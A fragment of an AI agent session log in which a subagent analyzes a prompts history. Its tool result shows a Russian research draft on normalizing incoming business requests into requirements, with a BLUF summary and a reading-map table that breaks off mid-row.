  \"input_transformations\": [],\n[2026-09-29T07:45:53.308Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:53.308Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:53.308Z] [INFO]   },\n[2026-09-29T07:45:53.308Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"uuid\": \"568c9e39-1397-46b5-9f12-2a6b33d1353d\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:53.258Z\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"request_id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:53.308Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:53.308Z] [INFO] }\n[2026-09-29T07:45:53.314Z] [INFO] {\n[2026-09-29T07:45:53.314Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"description\": \"Running Search key terms counts\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:53.314Z] [INFO]     \"total_tokens\": 78435,\n[2026-09-29T07:45:53.314Z] [INFO]     \"tool_uses\": 19,\n[2026-09-29T07:45:53.314Z] [INFO]     \"duration_ms\": 90964\n[2026-09-29T07:45:53.314Z] [INFO]   },\n[2026-09-29T07:45:53.314Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"uuid\": \"a56c9cfa-9322-47c9-9afe-b45747543f6c\",\n[2026-09-29T07:45:53.314Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:53.314Z] [INFO] }\n[2026-09-29T07:45:55.076Z] [INFO] {\n[2026-09-29T07:45:55.076Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:55.076Z] [INFO]   \"message\": {\n[2026-09-29T07:45:55.076Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"id\": \"msg_011CfXMnmjtJ5qUhgjcZ4fZz\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:55.076Z] [INFO]     \"content\": [\n[2026-09-29T07:45:55.076Z] [INFO]       {\n[2026-09-29T07:45:55.076Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:55.076Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:55.076Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:55.076Z] [INFO]     ],\n[2026-09-29T07:45:55.076Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:55.076Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:55.076Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_creation_input_tokens\": 1841,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_read_input_tokens\": 71767,\n[2026-09-29T07:45:55.076Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:55.076Z] [INFO]         \"ephemeral_5m_input_tokens\": 1841,\n[2026-09-29T07:45:55.076Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:55.076Z] [INFO]       },\n[2026-09-29T07:45:55.076Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:55.076Z] [INFO]       \"service_tier\": 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[\n[2026-09-29T07:45:57.223Z] [INFO]       {\n[2026-09-29T07:45:57.223Z] [INFO]         \"tool_use_id\": \"toolu_01MCuFwb6iF5LY4RkMqwjq4U\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"content\": \"  - \\\"research/ba-requirements/normalization/10-theory.md\\\"\\n  - \\\"research/ba-requirements/normalization/20-taxonomy.md\\\"\\n  - \\\"research/ba-requirements/normalization/30-decision-framework.md\\\"\\n  - \\\"research/ba-requirements/normalization/40-practice-and-cases.md\\\"\\n  - \\\"research/ba-requirements/normalization/50-open-research.md\\\"\\n  - \\\"docs/rfc/2026-07-17-rfc-reference-research-pattern.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\n---\\n\\n# \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438 \u043a\u0430\u0440\u0442\u0430 \u0447\u0442\u0435\u043d\u0438\u044f\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c.** \u042d\u0442\u043e \u0444\u0430\u0439\u043b `00-introduction.md` \u043c\u043e\u0434\u0443\u043b\u044f\\n> [`research/ba-requirements/normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/normalization),\\n> \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e **Reference Research Pattern** (\u0441\u0442\u0430\u0442\u0443\u0441 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430: Experimental,\\n> \u0441\u043c. [RFC: Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md)\\n> \u0438 [`standards/research-standard.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/research-standard.md)).\\n>\\n> **\u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a.** \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u044f \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue\\n> [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539)).\\n> \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/40-practice-and-cases.md):\\n> \u0442\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2.\\n>\\n> **\u0421\u0442\u0430\u0442\u0443\u0441.** `draft`. \u041c\u043e\u0434\u0443\u043b\u044c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0432\u0445\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f\\n> BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432; \u0441\u0430\u043c \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0438 \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e\\n> \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430.\\n\\n## BLUF\\n\\n1. **\u0422\u0435\u0440\u043c\u0438\u043d.** \u0420\u043e\u0434\u043e\u0432\u044b\u043c \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043c \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f\\n   **\u00ab\u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb (Initiating Artifact)** \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n   \u0442\u0438\u043f\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0430 \u0441\u0435\u043c\u044c \u043a\u043b\u0430\u0441\u0441\u043e\u0432 IA-1\u2026IA-7. \u00ab\u0417\u0430\u043f\u0440\u043e\u0441\u00bb \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u043c\u043e\u043d\u0438\u043c,\\n   `Change Request` \u2014 \u043a\u0430\u043a \u0442\u0435\u0440\u043c\u0438\u043d, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0449\u0438\u0439 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 baseline,\\n   `Demand` \u2014 \u043a\u0430\u043a \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\u043d\u0430\u044f, \u0430 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0420\u0430\u0437\u0431\u043e\u0440 \u2014\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/10-theory.md#4-\u0440\u0435\u0448\u0435\u043d\u0438\u0435-t1--\u0442\u0435\u0440\u043c\u0438\u043d-\u0434\u043b\u044f-\u0432\u0445\u043e\u0434\u0430-ba-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432).\\n2. **\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043f\u043e\u0442\u0435\u0440\u044f \u2014 \u043d\u0435 \u0432 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0432 \u043e\u0446\u0435\u043d\u043a\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f.**\\n   \u0421\u043b\u043e\u0432\u0430 \u00ab\u043f\u043e\u043a\u0440\u044b\u0442*\u00bb \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 41 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 Mango, \u0430 `discoverab*` \u2014 \u0432\\n   \u043d\u0443\u043b\u0435: \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0440\u0435\u0448\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u00ab\u0435\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435\u00bb \u0438 \u043d\u0438 \u0440\u0430\u0437\u0443\\n   \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0435\u0451. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 **\u043e\u0446\u0435\u043d\u043a\u0443 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0441 \u0433\u0435\u0439\u0442\u043e\u043c**, \u0430\\n   \u043d\u0435 \u043f\u043e\u0434\u0448\u0430\u0433\u043e\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.** \u0412 9 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0438\u0437 56\\n   \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e `hallucinations_shipped > 0` \u2014 \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043e\u0448\u0451\u043b \u0434\u043e\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e\u0439\u0434\u044f \u0440\u0435\u0432\u044c\u044e. \u041b\u044e\u0431\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 (\u0440\u0443\u0447\u043d\u0430\u044f, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f,\\n   \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u0430\u044f) \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c **\u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435\\n   \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c.\\n4. **\u0414\u0432\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0430 \u043d\u0435 \u043e\u0434\u043d\u0430.** \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f (\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u043d\u0430 IT/B2B SaaS) \u0438\\n   Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b \u0436\u0451\u0441\u0442\u043a\u043e \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b **\u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438**\\n   ([\u00a71 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#1-\u043c\u0430\u0442\u0440\u0438\u0446\u0430-\u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438-\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f--mango-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f)).\\n   \u0421\u0446\u0435\u043f\u043a\u0430 \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 `domain \u2192 capability \u2192 feature \u2192 function`.\\n5. **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u2014 \u0433\u0438\u0431\u0440\u0438\u0434 (H-H)**, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0438\u0441\u0441: \u0440\u0443\u0447\u043d\u043e\u0439\\n   \u0440\u0435\u0436\u0438\u043c \u043d\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 56+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f,\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u043f. 3. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438,\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u2014\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#4-\u0442\u0440\u0438-\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b-\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438).\\n6. **\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\\n   \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442.** \u0420\u0435\u0435\u0441\u0442\u0440 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 **\u0432\u0441\u0435** \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0442\u043a\u043b\u043e\u043d\u0451\u043d\u043d\u044b\u0435; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u2014 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\\n   \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0440\u0438\u0442\u043c\u043e\u043c\\n   ([\u00a75 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#5-\u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438-\u0438-\u0440\u0435\u0435\u0441\u0442\u0440-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439)).\\n7. **\u0420\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f GRA \u043f\u043e\u0432\u0435\u0440\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n   (H6), \u0430 \u043d\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430.** \u041e\u043d\u0430 \u044f\u0432\u043d\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0438\\n   \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0430 \u0432\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md#4-\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430-h6--\u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439-\u0441\u043b\u043e\u0439-\u043f\u043e\u0432\u0435\u0440\u0445-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438-\u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432)\\n   \u0441 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430\\n   [`research/reputation-technologies`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/reputation-technologies).\\n8. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f.** \u041f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044e \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442\\n   \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0443\u044e\u0442: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432\u0445\u043e\u0434\u0430, \u0433\u0435\u0439\u0442\u044b, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438\\n   \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439, \u0440\u0435\u0435\u0441\u0442\u0440. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014\\n   [\u00a76 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#6-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435-\u0434\u043b\u044f-\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f-ba-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432).\\n\\n## \u041a\u0430\u0440\u0442\u0430 \u0447\u0442\u0435\u043d\u0438\u044f\\n\\n| \u0424\u0430\u0439\u043b | \u0427\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 | \u041a\u043e\u043c\u0443 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d |\\n| --- | --- | --- |\\n| [`00-introduction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md) | BLUF, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043c\u0435\u0442\u043e\u0434, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0432\u0441\u0435\u043c |\\n| [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/10-theory.md) | \u0440\u0430\u043c\u043a\u0430 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c, \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0443, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b H1\u2013H10 | \u0442\u0435\u043c, \u043a\u0442\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043f\u043e\u0440\u0438\u0442 \u0441 \u043d\u0438\u043c\u0438 |\\n| [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md) | \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 IA-1\u2026IA-7, \u043e\u0441\u0438 O1\u2013O6, \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u044b (\u043a\u043e\u043d\u0442\u0443\u0440\u044b), \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 GRA, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b U1\u2013U9, \u0441\u0440\u0435\u0437 Mango | \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u043c\u043a\u043e\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 |\\n| [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md) | \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438, \u0446\u0438\u043a\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0433\u0435\u0439\u0442\u044b, \u0432\u044b\u0431\u043e\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f 